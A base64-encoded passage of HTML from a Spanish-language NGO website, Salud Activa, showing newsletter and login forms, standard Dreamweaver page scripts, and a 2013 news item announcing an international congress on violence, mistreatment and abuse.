jkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRoOjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3Bhbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdGltb3MgZGlhcyBwYXJhIGluc2NyaWJpcnNlIGNvbiBkZXNjdWVudG8hITwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPkluc2NyaWJpcnNlPC9hPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPjxiciAvPjwvYT48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDEiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgP